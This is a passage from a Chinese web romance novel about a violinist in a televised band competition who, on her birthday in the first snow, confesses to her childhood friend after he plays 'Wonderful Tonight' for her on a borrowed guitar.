“她说她那边事情结束了就过来。” 话题宣告终结。 好在19楼很快抵达,电梯门重新打开。 宴会厅大门映入眼帘,门口聚着不少节目组的人,徐勿凡一个人趴在另一边的窗台边,抽着烟看着手机。 林珩眼前一亮,立刻朝那边走了过去。总导演也见到了熟悉的圈内大拿,快步过去打招呼。 只有郁思弦和陆照霜落在了最后面。 陆照霜加快了脚步,但没有身后那人腿长,无奈被他赶上。 郁思弦穿过她身边,微微一顿,用低不可闻的声音轻飘飘落下一句,“阿照,我很期待,你不惜撒谎,也要好好考虑的话是什么。” 陆照霜耳根发烫,他再这样,她要怎么考虑嘛! 眼看郁思弦已经走上前,和其他人搭上话,一派淡定自若的模样。 陆照霜很不服气,也忙镇定下自己的心绪,快步上前,预备和徐勿凡林珩会和。 “徐勿凡!”林珩宛如小学鸡,特意绕到了徐勿凡身后,大声叫她。 徐勿凡被吓得一激灵,但第一反应并不是回头和林珩吵架,而是立刻翻过手机按了下去,没有回头,死死地保持着原来的姿势,急促地喘了口气。 陆照霜的脚步倏然顿住。 林珩奇怪地探过身看徐勿凡:“你怎么一点反应也没有?” 徐勿凡身体僵了僵,微微平复了呼吸,转身推开了林珩,“别离我这么近,被拍到了不好。” 林珩略有点失落,但还是听话地退后了一步。 徐勿凡抓住手机,径自朝宴会厅走去,却恰和定在门口的陆照霜对上视线。 她眼里微微闪烁,咬着唇一言不发,垂下头匆匆进了宴会厅。 看到她这个反应,陆照霜心里忽地凉了半截。 席间他们这桌一反以前的冷清,不少乐队都过来跟他们打招呼,甚至包括猩红月球和量子玫瑰。 林珩、高若涵和唐湾都兴致很高,趁着没人过来的空隙,还会兴奋地嘀咕。 “我们好像真的被量子玫瑰和猩红月球当对手了诶。” “下一期如果还能第一,我们就能拿下种子权保送决赛了!” “嘿嘿,这算不算计划有变,准备夺冠?” 只有徐勿凡,和用余光观察徐勿凡的陆照霜一直沉默。 徐勿凡的冷淡大家都习惯了,但陆照霜这会儿和先前在录制现场时的情绪,可谓是判若两人。 高若涵担心地问:“照霜姐,你哪里不舒服吗?” 陆照霜勾起唇角笑了笑,端起桌上的酒杯喝了一口,“没事,就是有点累。” 唐湾赶忙道:“小陆你这段时间确实太辛苦了,现在就好好放松一阵吧。” 林珩也正准备出声慰劳,但桌上另一道冷静的女声先他一步响起。 “现在真的是放松的时候吗?” 大家齐齐望向徐勿凡。 “我不是想浇大家冷水,”徐勿凡语速比平时要更快一点,透着一种焦躁的急迫,“但眼看着决赛的希望近在眼前,我们不是更该做足准备吗?下一场比赛该选什么歌?” 在庆功宴上聊这种话题,大家都微微一愣。 但这么主动表达想法的徐勿凡,真的太少见了,因此大家也都很快被调动,开始积极商量起下一场比赛的策略。 “我们再写首新歌吧!”高若涵眼里还留着白天时的热情,“今天的感觉真的太爽了!” 唐湾略有点赧然,但还是坦率地表达,“我也觉得,好像到今天才慢慢找到了状态,以前的那些歌感觉都有些不太够了。” 林珩也连连点头,“也好,趁着这个状态,我们正好可以重新明确好我们的风格和路线,以后也能走得更稳当。” “现在是求稳的时候吗?” 徐勿凡凛冽的声音再次响起,“你们觉得今天我们赢了,是因为那个交响金属的风格真的有多吸引人吗?” 大家都是一愣。 徐勿凡继续道:“本质我们能赢的理由,不还是因为够有新意吗?整个节目只有我们搬出了这个风格,也没有任何观众预想到我们能搬出这个风格。但下一场就不一样了,我们会被其他乐队重点针对,观众也期待我们能再次让他们意外和惊喜,你们真的觉得,沿用上次的策略是正确的吗?” 她的话不无道理。 “可是,”高若涵犹豫着道:“一直求新也不是长久之计吧,人的创意总会枯竭的呀。” 就比如她现在,已经想不到下一场还能怎么创新了。 林珩眉眼间浮现出浅淡的疲惫,“我们要这样‘创新’到什么时候?我们一直以来,也没有刻意追求创新吧,难道不是因为那样的形式,正好符合我们歌的主题吗?把新意当成我们的目标,难道不是舍本逐末吗?” 徐勿凡深吸了一口气,“这本质是场比赛,我们的目的只是赢下去,不是吗?什么初心、主题,那些等我们赢了再谈不好吗?” 她的声音里甚至带上了恳求的意味,大家脸上都浮现出几分为难。 最后,她的目光落在一直没开过口的陆照霜身上,“你觉得呢?” 其他人的目光也都转了过来。 这几次比赛下来,陆照霜俨然成为了他们乐队的决策者,她的意见决定了最后的走向。 陆照霜和徐勿凡对视片刻,落在腿上的手指把长裤微微攥紧,末了,她闭了闭眼,“就……按你说的办吧。” 林珩没料到她会这么说,一时沉默了下去。 桌上氛围陷入短暂凝滞,还是高若涵笑着活跃气氛,“既然如此,我们来想想还有什么新点子吧!” 宴会厅正中的主桌上。 酒过三巡,蔺承平看了眼手机,对总导演说了声抱歉,然后和另两位评委前后脚离开了宴席。 三人下了两层,对视一眼后,进到了一间私人包房。 年轻俊*朗的男人坐在主位,单手支颐,正喝着红酒解闷,看到他们进来,桃花眼里露出并不意外的笑意。 “看来我的提议,三位考虑好了?” 蔺承平和另两位评委对视一眼,坐了下来,斟酌着道:“其实萧总没必要这么做,这几次比赛下来,我很看好逃出人间的表现,他们进决赛可以说是一定的,争一争总冠军也未必没有可能。” 萧烨像是听到了什么笑话,被逗得一笑,然后向后靠进椅背,抬眼看着他们,语气里是不容置喙的意思。 “可能?我实在讨厌这个词,我要做,就要最好的。” * 为了迎战下一场比赛,逃出人间全员再次开始了紧张的准备。 陆照霜熬了好几天,醒来时,徐勿凡和高若涵都已经不在宿舍了。 她赶忙收拾了一下,赶去练习室,“抱歉抱歉,我起晚——” 练习室内,乐器旁空无一人,所有人都举着手机围在窗边。 灰暗的天色下,鹅毛大雪正飘然而下。 这才十月下旬,竟然就开始下雪了。 “卧槽,是纬度的区别吗?湘城的初雪也太早了吧!” “我要拍照给我妈看,惊呆她!” “你们说,要是申城的初雪来得晚一点,我们是不是赶得上两遍初雪啊?” 几个人短暂地忘却了比赛的紧张,沉浸在了初雪带来的惊喜里,连徐勿凡注视着窗外的眼神,都格外安静专注。 “嗡嗡。”手机在兜内震动。 陆照霜没打扰他们这片刻喜悦,轻轻把门合上,到了走廊里才接起电话。 “喂,思弦?” “阿照,看到下雪了吗?” 陆照霜拉开窗,探出手接下几片雪花,想到刚才队友们的兴奋表情,不自觉一笑,“看到了。” “要出来玩吗?” 陆照霜愣了一下。 郁思弦又道:“阿照,不管是因为排练还是别的,这次就不要拒绝我了吧,今天不是你的生日吗?” 她诧异地睁大眼,翻看了一眼日历,霜降竟然这么快就到了。 她攥紧手机,眼里闪过短暂挣扎,随即像下定了什么决心似的,肯定地回复:“好,那晚上的时候,我出去找你。” 【作者有话说】 朋友们,莫急,楼梯间还是太草率了,马上就来[垂耳兔头] 58/ 第58章 ◎郁思弦,我们在一起吧◎ 陆照霜从节目组大楼里出来,已经到了晚上七点,雪天晚高峰堵车,等她赶到和郁思弦约好的餐厅,就已经到了八点。 餐厅位置很好,正对着湘城最大的城市公园,灯光设计别出心裁,雪下了大半天,在地面和雪松上都积了厚厚一层,这会儿只剩下依稀的小雪,在温暖的澄明灯光下飘飘扬扬。 郁思弦坐在临窗的位置,没有看手机,而是听着餐厅里的钢琴独奏,跟着节奏,手指在桌面轻轻敲击。 他眺望着窗外的雪景,那样暖色调的光影印在他半边脸上,格外温和静谧,没有任何不耐烦的神色。 陆照霜更觉不好意思,加快了脚步。 听到渐近的脚步声,郁思弦回过头来,看到她,眉眼微弯,“阿照,你来了。” 她脱下大衣坐下,双手合十向他道歉,“抱歉抱歉,我迟到了,让你等了这么久。” 郁思弦玩笑般的语气:“没关系,反正我很擅长等待。” 陆照霜微微一怔。 迟到了又被人轻而易举地谅解,她却没觉得轻松,反而心头更闷。 “阿照。” 郁思弦察觉她神情不对,将菜单侧面在桌上轻轻一磕,打断了她的思绪,“真要抱歉,那恐怕要怪我把你拉进这个节目,害得你比在申城交响乐团忙了太多了。” 她刚想反驳,就听他啧了声。 “越想越觉得我实在是黑心的资本家,”郁思弦双手交叉,手肘撑在桌面上,朝她微微倾身,“想知道这档节目帮我招到了多少商吗?” 他都这么说了,陆照霜再多抱歉的心思,也很难再升起来,只能没好气地接过菜单,“抱歉,不想知道。” 郁思弦肩头微耸,“那太遗憾了,否则你就能知道,我付给你们的出场费,和我从你们身上赚到的究竟差了多少了。” 陆照霜朝他微微一笑,“谢谢提醒,我会点最贵的菜当做抵债。” “是嘛?”他镇定地看着她,“那恐怕我得请你吃一辈子的菜,才抵得了这些债了。” “咳咳——”陆照霜一口水都还没喝,就被呛得干咳起来。 他怎么这样,完全不按套路出牌的! 郁思弦笑了一声,这才放过她,把温水推到她面前,招手叫服务员过来点单。 整顿饭里,他没有再故意逗她,她也得以安稳地吃完了晚餐。 郁思弦擦干净手,请服务员把餐具撤走,然后抬眼看向她,“阿照,生——” “你是陆照霜吧?”斜地里一道兴奋的女声打断了他接下来的话。 陆照霜下意识偏头看过去,就见一个女孩正紧紧盯着她,是从未见过的陌生面孔。 陆照霜:“?” “你就是陆照霜吧?”女孩语气起先还有点疑惑,这会儿已经慢慢笃定起来,“《乐队人》我每期都看,你就是逃出人间的陆照霜吧?” 随着女孩的这句话,餐厅里投向这边的视线越来越多,其中不乏恍然大悟的眼神。 陆照霜头皮发麻。 她是参加了综艺节目没错,但她根本没想过,她会成为在外面也能被路人认出来的公众人物啊! “不不,我不是。”她摆摆手下意识否定,但眼见着看向她的人越来越多,她大脑短路,拉起郁思弦的手腕,迅速逃走。 郁思弦一时没反应过来,被她带着一路跑到了根本不认识的地方。 陆照霜松开手,看向身后的街道,没有出现电视剧里那种被人追杀的画面,这才长长地呼出口气。 但很快,她又想起什么,睁大眼看向郁思弦,“等等!我们不会逃单了吧?” 郁思弦一言难尽:“你就担心这个?” 她觉得不能更可怕了,“我刚才真是昏头了,逃出人间小提琴手当众吃霸王餐,这种新闻要是传出去,林珩会杀了我吧?” 郁思弦被气地一笑,“放心,我到的时候就记过账了。” 陆照霜抚着胸口,终于放下了心。 郁思弦打量着她的反应,啼笑皆非,“阿照,这样我该怎么送你生日礼物?” 陆照霜愣了一下,这才反应过来,他先前叫她,大约就是在餐厅里为她准备了什么惊喜。 她有些不好意思地看向他,“抱歉,浪费了你的好意。” 让她再回那家餐厅,是万万不可能了。 但现在这个时间,这个地点,大约也很难再重新准备礼物了。 郁思弦颇为无奈,“阿照,错过的是你的生日,你为什么要跟我说抱歉?” “啊,我的话没关系啊,”陆照霜伸手指给他满天飘雪,笑了笑,“还有比初雪更好的生日礼物吗?” 郁思弦抿住唇,并未作声。 陆照霜只好扯了扯他的衣袖,“真的没事,那边有河,我们去散散步吧。” 对视了好一会儿,郁思弦终于妥协,“等我一下。” 他走进街边的药店,拿了一只一次性口罩回来,撕开包装袋把口罩戴在她脸上,“河边人多,遮一下吧。也是我的错,我也没想到……你现在已经不算素人了。” 有种搬起石头砸自己脚的感觉。 陆照霜摸着脸上的口罩,感觉颇为新奇,也很看得开,“也就是因为现在节目正在播吧,乐队和娱乐圈明星又不一样,很快就会被忘掉的。” “你在这方面倒是乐观,”郁思弦顺手揉了把她的头发,叹了口气,“那走吧,我们去河边逛逛。” 河不宽,尚未结成冰,两边用石栏围着,景色算不得多好,但有摆小摊的、有街头弹唱的、还有穿着汉服来打卡拍照的,夜生活颇具生活气息。 “这里比我想得热闹多了,是不是还不错?”她颇有些兴致地问郁思弦。 他脚步却忽然一停。 陆照霜偏头看过去,就见他眸光微亮,“阿照,我想到可以送你什么了。” 她万万想不到他还惦记着这件事,无奈地笑了笑,“我真的觉得有初雪就很好了。” “但那不是我送你的礼物。” 陆照霜一愣。 郁思弦已经率先朝那个弹唱的歌手走了过去,跟对方说着什么,不一会儿,他从歌手手里接过吉他,抬头叫她,“阿照。” 陆照霜立刻意识到了他要送她的礼物是什么。 她早在第一次去搁浅的时候,就得知了郁思弦会弹吉他,但她还一次也没有见过他弹吉他的样子。 她怔怔地走过去,很难想象接下来的画面,“你要给我弹一首生日快乐吗?” 郁思弦听得一笑,煞有介事地点了下头,“是啊,希望你不要觉得太糟糕。” 说完,他拨动了琴弦。 几乎是前奏一响,她就被定在了原地。 那当然不是生日快乐歌,而是EricClapton那首再经典不过的《WonderfulTonight》。 原声吉他的温暖音色从他手下流淌而出,远比她从前以为的更熟练、更有余裕。 他甚至有空朝她挑眉笑了一下,简直像是在问:是不是比你想象中好一点? “Itslateintheevening.”第一句歌词唱响的时候,他就垂下眸,不看她了,耳尖甚至有可疑的红晕,不知是冷的还是因为不好意思。 从小到大,陆照霜很少听郁思弦唱过歌。 他的嗓音当然远比不上专业歌手,与原唱那种沙哑又有磁性的歌声更没法比,只是普通人里好听的水准,又因为是这样的场合,更添了几分拘谨。 “IfeelwonderfulbecauseIsee, (我如此幸福,因为我看到) Thelovelightinyoureyes. (你眼中爱意闪动) Andthewonderofitall, (而最奇妙的是) Isthatyoujustdontrealize, (你甚至没有意识到) HowmuchIloveyou. (我有多么爱你)” 陆照霜一个多月来,看了那么多次知名乐队的现场演出,但这却是她最移不开视线的一次。 她从前无法想象郁思弦弹吉他的模样,因为印象里玩吉他的男生总是那样热烈又张扬的人,但现在可以想象了。 也是有人,像这样,安静又内敛地,弹着吉他的。 她也并不觉得,这个样子,就不算热烈。 温暖动听的吉他、生涩却真挚的歌声、盯着吉他不肯抬头的奇怪歌手,成功把周围所有人都吸引了过来。 大家静静听着这场雪中弹唱,很轻地跟着晃动身体,再没有比这更适合“WonderfulTonight”这个词的时刻了。 郁思弦弹完,周围响起断断续续的掌声和友好的起哄,“好听!”“不再来一首吗?” 他摇着头,匆匆把吉他还给原主人就想走,却又被原主人叫住,对方把一小沓纸币递向他,“兄弟,这是你赚的,58块钱呢,不错不错,赶得上我半晚上挣的呢。” 郁思弦目光有一霎凝滞。 另一边站着的陆照霜看到这一幕,没忍住噗嗤笑出声。 郁思弦语气颇有些艰难,“不用了,当做你借我吉他的感谢吧。” 原主人扬起眉,不由分说把纸钞塞进他手里,“这是你的劳动成果,我可不会抢。至于感谢?刚才那首歌就够了。” 郁思弦只好收下,向原主人再次道了谢,才走回陆照霜身边。 面前的女孩因为努力忍耐着笑意,肩膀微微颤抖。 他也不再觉得不好意思了,认命般向她摊开手,展示那沓由很多张一块组成的纸钞。 “怎么办,阿照?我送你的生日礼物,也就只有58块一场的演出了,寒酸吗?” 陆照霜擦了下眼角,终于止住笑意。 怎么会呢? 有人在初雪的夜晚,弹《WonderfulTonight》给她听,再没有比这更合她心意的生日礼物了。 但要这样说出来,她就太不好意思了。 她干脆从他手里抽走那叠纸币,夸张地感慨,“啊,好大一笔巨款,该拿这份礼物怎么办呢?” 她歪着脑袋,背对他向前走了两步,很苦恼的样子,又忽然转回身,眼里闪动起明亮的光,像是想到了一个绝妙的主意。 “要不这样吧,思弦?我用它给你也买个礼物,你想要什么礼物?” 郁思弦一瞬间瞳孔微放。 无比相似的时间、画面和动作,仿若往日重来。 让他重新回到十四岁那年,她站在路灯下,将拳头抵在唇边,对他模仿樱木花道那个夜晚。 那股跨越十二年时光,袭向心头的酸胀太剧烈了,他措手不及,仓促垂下头。 “思弦?”陆照霜奇怪地出声叫他。 好一会儿,她才再次听到他的声音。 “木牌。” “什么?” “木牌,我想要一块木牌,刻着今天日期的木牌。” 陆照霜倏然愣住。 他说,他想要一块,她曾经很多次,在音乐会结束后,送给过萧烨的木牌。 郁思弦此刻才终于抬头,肩胛骨绷出隐忍的弧度,唇角紧紧抿着,眼神直白、小心、近乎恳求。 好像有一层外壳突然就被剥下了,餐厅里的故意捉弄、弹吉他时的熟稔和羞窘全部褪去了,他再也没有了今天所有的进退有度。 只剩下一个脆弱的、轻易可以被伤害到的郁思弦,站在她面前,声音里有种不易察觉的颤抖。 “可以吗?” 陆照霜呼吸一紧,隔着两步的距离,灌在他们中间的风雪,好像也灌进了她的胸口。 短暂沉默让他眼里的恳求和希冀慢慢消散,他再次垂下了眼,“抱歉,阿照,今天是你的生日,你就当没——” “可以!” 她猛然出声打断他,匆忙看了眼腕表,“你、你在这里等等我,我今天一定会把木牌给你。” 说完,她立刻打开了手机地图,她以前来湘城巡演过,还记得她刻木牌的那家店的名字。 她跑向街边,呼吸都有些急促,干脆把口罩取了下来,好在很快就拦下了辆出租车,朝那家店赶去。 今天来时所有堵车的坏运气,都在这时给了她补偿,出租车一路畅通无阻,赶在店主关门前抵达。 店主还记得她,这个从来不刻任何祝福和寄托的怪人,“姑娘,还是刻今天的日期吗?” 陆照霜连连点头,顿了顿,又道:“麻烦,在下面再刻一个人的名字。” 店主把笔记本推到她面前,“那你写下来吧。” 刻完结账时,店主看到她手里捏着的纸币,笑了一下,“巧了,我店里确实缺零钱。” 陆照霜递到一半,犹豫了一下,转而把它们装回衣兜,掏出了自己的手机。 在店主不解的目光中,她笑了笑,“这个好像不行,这是我的生日礼物。” * 歌手、摊贩、行人……一个接一个从河边离开,最后只剩下郁思弦一个人。 他双臂撑在石栏上,凝望着一点点融化在河水里的细雪,没有去看手机,更没有去数时间。 她说今天一定会把木牌给他。 今天很好,但只要她会到,明天对他来说也没关系。 就像约好了七点半碰面,但八点到也没关系。 郁思弦耐心十足,真的很擅长等待。 “锵锵!” 一只被系绳悬在手指上的木牌,忽然落在他眼前。 郁思弦愣了下,他想得太出神了,竟然都没听到她的脚步声。 他顺着陆照霜的手臂看去,她正数着手上的腕表,“11点58。” 她抬起头,眼里闪烁着得意又骄傲的笑意,“说了今天就是今天,我送到了。” 那个他曾经嫉妒过无数回的木牌,被她在承诺好的今天,放进了他的掌心。 “虽然今天是我的生日,但我已经很快乐了,那就用这件礼物,祝你快乐吧。” 郁思弦嘴唇微动,却像是失去了所有语言能力,说不出一句话,连谢谢都说不出来。 他只能垂下头,紧紧握住那枚木牌,指尖在他的名字和日期上反复摩挲。 陆照霜趴在他旁边的石栏上,静静看着他的侧脸。 他一句话也说不说,长长的睫毛微微垂着,眼神专注又珍惜,好像不是26岁的大人,只是一个收到了礼物不知所措的少年。 啊,有一片雪花落在了他的睫毛上。 陆照霜像是被什么蛊惑,倾身朝那片雪花吻去。 郁思弦条件反射般闭上眼,思绪被一瞬清空,只有眼角那种陌生而柔软的触感,强烈到支配了他所有的脑内神经。 一秒、两秒、三秒。 陆照霜终于回过神来,意识到她做了什么。 她立刻往后退了一步,用手捂住嘴。 救命,她疯了吗? 郁思弦睁开眼,一眨不眨、一动不动地和她对视着。 陆照霜像是被火烧着了,飞速转过身,快步往前走,“时间都这么晚了,我们该回去了。” 过了好一会儿,身后才传来窸窸窣窣踩在雪地里的脚步声。 “阿照。” 救命,她该怎么解释? “阿照,”郁思弦的脚步声在一个不远不近的距离停下,声音听起来平静极了,“没关系,就当一次意外。” 陆照霜蓦地顿住。 郁思弦今晚对她说了两次没关系。 没关系,他可以一直等。没关系,他可以让她伸出手又缩回去。 他怎么能这么,没关系呢? 陆照霜转过身,“没关系吗?” 郁思弦眼睫微垂,再抬起时,他甚至朝她微微笑了一下,“没关系,你可以等你考虑好了再——” 剩下的字词被风吹散在了漫天细雪中。 因为陆照霜上前,一把抓住他的衣领,踮脚亲在了他的唇上。 郁思弦眼瞳瞬间放大。 他没有跟人接过吻,无从知晓接吻是什么感觉,至少现在,他们在这样的雪天待了这么久,彼此的嘴唇早都只剩下冰凉的温度,绝对谈不上舒服。 但仅仅只是意识到,她亲在了这个位置,就足够他胸口掀起惊涛骇浪。 陆照霜从他唇边微微退开一点,“这样也没关系吗?” 郁思弦呼吸变得急促起来,“阿照?” 不对、不对,也不该是这个反应。 于是陆照霜又亲了上去,紧紧注视着他的眼睛,简直像一种挑衅,非要逼他承认,他不是没关系。 一次、一次、又一次。 “阿照。” 郁思弦终于握住她肩膀,迫使她站在原地,黑沉的眸里,好像有什么东西正在死死忍耐,又在控制不住地翻涌而出,“你知道你在做什么吗?” 陆照霜笑了笑,“我当然知道。” 郁思弦愣了下,箍着她的力道跟着一松。 于是陆照霜捧住他的脸,踮起脚尖,再一次,温柔地吻在了他的唇上。 “郁思弦,我们在一起吧。” 【作者有话说】 标注一下: 《WonderfulTonight》是现实存在的歌,推荐一下不插电的版本。 56章提到的那个意大利的交响金属乐队,RhapsodyofFire也是真实存在的乐队 59/ 第59章 ◎抵开她的唇◎ 郁思弦有短暂的间隙,因为她这句话,而无法动弹。 陆照霜便捧着他的脸,如同雀鸟啄食,轻轻啄吻他的唇瓣,帮他一点点确定这是现实,好一会才停下,重新在原地站定。 无它,就是踮脚踮得有点累了。 但下一秒,宽大的手掌紧紧箍住她的后腰,迫使她重新贴近了他的胸膛。 郁思弦再无先前的犹豫和隐忍,语气里满是风雨欲来的阴沉,“阿照,既然说出口了,就没有反悔的道理。” 他这人可真是,不知道又瞎想了些什么。 但陆照霜很宽容地原谅了他,手指勾住他大衣里的领带,一点点拉紧。 “我要是后悔的话,现在是在做什么?” 那力道不轻不重,像是划在他心口的钩子,连语气也有种不同于往日的引诱和甜腻。 郁思弦喉结微微滚动了一下,眼里深不见底的渴欲彻底汹涌而出,下一瞬,他一手掌住她后脑,俯身亲了下来。 与先前的试探和安抚不一样,男人甫一触及她的唇角,就带着难以自抑的急迫,抵开她的唇瓣,攻入她的齿关。 陆照霜再也没有比这一刻更清晰地意识到,她身前的这个人,不是她温柔体贴的好友,而是带着危险、渴求和攻击性的……异性。 她在和她二十年的好朋友接吻,这种越轨的亲密,让她仿佛全身过电。 和对萧烨不一样,陆照霜以前从未设想过,她和郁思弦会有超出朋友以外的关系,更未以异性的角度看待过郁思弦。 他长着那样一张冷峻谨严的脸,像是与俗世毫无瓜葛,他们此前好几次牵手,他也总是游刃有余不慌不忙,她要怎么想象,他沉沦欲望的模样? 可就是这样的人,正用唇舌钩缠着她的唇舌。 他的吻毫无章法,却又强势急迫,最外层被雪天冻得冰凉的包装袋被剥开了,属于人体的炽热温度,一下子就把火点燃,带着她跌进滚烫的熔炉。 箍住她腰的力道也越收越紧,仿佛要压着她,直到她的骨骼熔进他的骨骼。 她被迫向后仰,身体仿佛只剩下他箍着她的这一个支点,胸口也像是缠了一根线,被拉得好紧好紧,心脏在难耐地颤动着,却还是抬起双臂,勾住他的脖子,让这个吻变得更深入。 吞咽和呼吸都变得有些艰难。 终于,在他们都近乎无法呼吸的时候,这个紧密而绵长的吻才宣告结束。 他微微退开,挨着她的脸急促地喘息,目光所及之处,她的嘴唇水光潋滟,是他亲出来的。 他的手从她后脑滑下,落在她的颈侧,那里的皮肤因为刚才那个吻而重新升温,细腻而柔软的触感填满掌心,他手指情不自禁地在那里微微摩挲。 只是这片刻功夫,他就又想亲上去了。 但他们才刚确定关系,他的表现,或许……实在太过急切,他不想吓跑她。 郁思弦强迫自己从她唇上移开视线,声音哑得出奇,“阿照,我送你回去。” 陆照霜:“?” 在接完这么一个深吻以后,他让她就这么回去,她是什么小朋友吗? 但看到他谨慎又小心的眼神,她又觉得,她也没法对他要求更多了。 陆照霜攥住他衣角,把头深深埋进他胸口,用来挡住自己的羞窘,“我今晚……就不回去了吧?” 郁思弦身体一僵,却无论如何也说不出拒绝的话,很久以后,才从喉咙里溢出一声沉沉的“嗯”。 * 郁思弦常来湘城,在距离节目组比较近的酒店有间长期套房,工作人员定时打扫,外加他素来整洁,没什么不能见人的地方。 可即便如此,打开门让她进去的那一刻,郁思弦喉结还是不自觉滚动了一下。 他一边接过她的外套挂好,一边垂下眸,尽可能说得若无其事,“我让酒店送姜汤上来,你先去洗个澡吧。” 不对,这句话在这种环境里,实在太有歧义、太让人浮想联翩了。 他立刻解释道:“我是说外面太冷了,你可以先洗个澡暖暖身体。” 还是不对。 “我不是那个意思,次卧是空着的,你可以睡那里。” 越描越黑,郁思弦闭了闭眼,彻底选择闭嘴。 陆照霜看着他微微红起的耳尖,突然想起上次,他是怎么嘲笑她,说牵手这种小学生举动,是不可能让他方寸大乱的。 他还真的就,对所有小学生以上的级别,没有一点抵抗能力啊。 她忽然就懂了,为什么牵手时他总是那么游刃有余,原来是因为,看着另一个人的手足无措,真的会消去自己的窘迫。 甚至,还有点,想逗逗他的心思。 “哦,”她慢吞吞地点了下头,听起来非诚诚恳地问:“只能睡次卧吗?主卧不能睡吗?” 郁思弦耳尖腾一下变得更红了,他都没看她,就径自朝主卧走去,“我去给你找干净的衣服。” 陆照霜拧紧小臂皮肤,努力克制自己,不要在他身后笑出来。 这份余裕,持续到她挣扎许久,终于还是不得不从浴室出来为止。 郁思弦抬起头,“你洗完——” 剩下的字词被他完全吞进了喉咙里。 她穿着他的衬衣,长度垂到大腿,露出修长匀称的一双腿,白得直晃人眼。 他呼吸瞬间紧了,“阿照?” 陆照霜头皮发麻,赶忙解释,“你的裤子太大太长了,会掉……” 郁思弦别开眼,立刻抓住了手机,“我出去给你买。” “都这个点了,算了,”她赶忙拦住他,“其实也就跟衬衫裙差不多嘛。” 虽然要更短一点,虽然,这是他的衣服。 “总之,你别坐我对面就行了。” 两个人坐在沙发同一边喝着姜汤,屋内一片寂静。 陆照霜感觉他们之间从未这么静过,与之相反的是,心跳声却越来越剧烈。 为了不让自己落到心率过速进急诊的地步,陆照霜忙找了个话题,“所以你到底为什么学的吉他?” 看过他的现场演出后,她终于能相信,他确实是能代林珩上场的水平。 郁思弦沉默了一下,“希望,我这么说,不会让你觉得太过为难。” “怎么会?”她笑了笑,想不到还能有什么事,会比看到他的时光胶囊那次,更让她不知所措。 郁思弦却并未因此放松,他目光落在桌面上,没有看她的表情。 “我们十岁那年,在森林公园里见过一个退休老人组的乐队。” 那几个爷爷奶奶全都头发花白,拿着便携的乐器,做着现在看来,声部有所欠缺的表演。 他们最初停下脚步,是因为里面有个小提琴手,陆照霜觉得新奇极了。 老人们看起来那么愉快,好像浑身都舒展开来,不在乎来看他们的人多或少,只是沉浸在和好友们的共同演奏里。 他们拉完一首又一首,周围的人群换了一批又一批,萧烨受不了了,跑去了别的地方玩,只有他们始终没有挪开脚步。 老人们注意到了,演奏结束后,走过来给他们递糖果,说感谢两个小观众的捧场。 陆照霜握着糖果犹豫了一下,然后抬头问:“爷爷,我拉小提琴的时候,要怎么才能像爷爷一样高兴呢?” 老人愣了一下,随后将他的小提琴交给陆照霜:“和朋友一起拉小提琴就是一件很快乐的事情啊,你要不要来试一试?” 于是,那天,其他老人们充满耐心地,陪着陆照霜一起演奏了一场小星星。没有了章阿姨的严厉斥责,也不是她孤身一人的偌大琴房,她小小的身体,被和蔼的老人们围在中间,眼里越来越亮。 而他站在无法融入的外面,无比渴望,如果和她站在一起的人,是他就好了。 结束后,老人们很捧场地给她鼓掌,她跟老人们深深鞠了一躬,然后跑过来,兴奋地对他说:“思弦,我有梦想了!以后我也要在公园里组乐队,像爷爷奶奶们这样!” 她又很骄傲地拉住了他的手,郑重地握了一下,“恭喜你,你是我的第一个观众!以后我们演出的时候,你也会来看的吧?” 不,他不想做她的观众,他想做和她一起演出的人。 可现在的郁思弦束手无策,只能耷拉下眼承诺,“会。” 回去以后,他在所有乐队常见的乐器里,最终选择了吉他——万金油、声音很有存在感、很便捷。他又不想让这件事传出去,尤其不想让萧烨知道,因此暗自偷偷练习。 只需要她叫一声,“思弦我想组个乐队”,他就可以抱起吉他,对她说,“选我吧”。 他没有等到这一天,因为她在她自己和章阿姨之间,选择了章阿姨的梦想。 然后在若干年后,他又亲手,为她和另一支乐队,牵线搭桥。 最后,郁思弦开玩笑一样对她说:“阿照,起码,等你退休了,在公园里组乐队的时候,叫上我吧。” 陆照霜弓下身体,双手捂住了嘴,短暂地陷入失语。 他学吉他的理由、他会和林珩扯上关系的理由、他确信她一定会对逃出人间感兴趣的理由……还有,他一次也没有错过她演出的理由。 这所有曾让她困惑的事情。 原来就只是,为了一句她自己都不记得,跟“我要当宇航员”、“我要当科学家”一样的童年戏言而已。 郁思弦很快地扫了眼她的神色,又再次垂下眼,“抱歉。” 他从一开始就知道,他的感情和动机,都一定会让她觉得为难。 陆照霜立刻偏过头看他,“你为什么要为了这种事对我道歉?我不是觉得为难,我就只是……” 只是什么,她还说不清,只觉得心头觉得堵得好紧、让她好难过。 她勾起唇,勉强笑了笑,“还好你是现在才告诉我,不然太容易误会了。” 她要是在河边就听到这件事,那她跟他在一起的动机,恐怕都会变得值得怀疑。 “误会什么?同情吗?”郁思弦拉过她的手,目光紧紧盯着她,在她指尖轻轻一吻,面不改色地撒谎,“不管是什么形式的感情,对我来说都无所谓,阿照。” 当然是有所谓的,如果他真的希望她只是因为怜悯和他在一起,那他此前就不必那么束手束脚。 他早都知道她是那么容易心软的人,只因为他今天露出了软弱,她就大费周章把那块木牌送给他。 可就算是怜悯,只要她待在他身边,那也比没有更好。 “你怎么会以为那是同情?”陆照霜匪夷所思地问。 郁思弦一怔。 陆照霜深吸了口气,“郁思弦,同情不会让我想跟你接吻,不会跟你来酒店,不会……” 她探过身,膝盖跪上沙发,跨坐到他身上,抚上他的脸。 “想跟你做更亲密的事情。” 【作者有话说】 郁思弦:重男 60/* 第60章 ◎可以这么亲你吗?可以碰你吗?◎ 郁思弦呼吸陡然一沉。 因为她近在咫尺的眼睛,因为她落在身上的的重量,因为穿透睡衣的滚烫温度,因为她此刻几乎要抵住的位置。 “阿照?”他的手都有些无处安放,她挨得实在太近了,太容易碰到她露在外面的皮肤了。 陆照霜手指从他侧脸一寸寸抚过,最后停在他唇边,目光跟着落在那里。 她明明做着这样挑逗的事情,声音却听起来很平静,“为什么这么不信任我?因为我考虑得太久,让你等了太长时间吗?” “不是,”郁思弦立刻否定,“当然不是你的问题。” 是他的问题,背着太过沉重的负担,总是患得患失,在确定关系的第一天,就把她拖进他这些糟糕情绪的泥沼。 他一开始就知道,他的性格绝非良配,却还是控制不住自己的贪婪觊觎,想要拥有她。 他闭了闭眼,“是我的错,我会调整好的。” 陆照霜气笑了,简直想敲开他的脑壳,看看他脑子里都装了些什么。 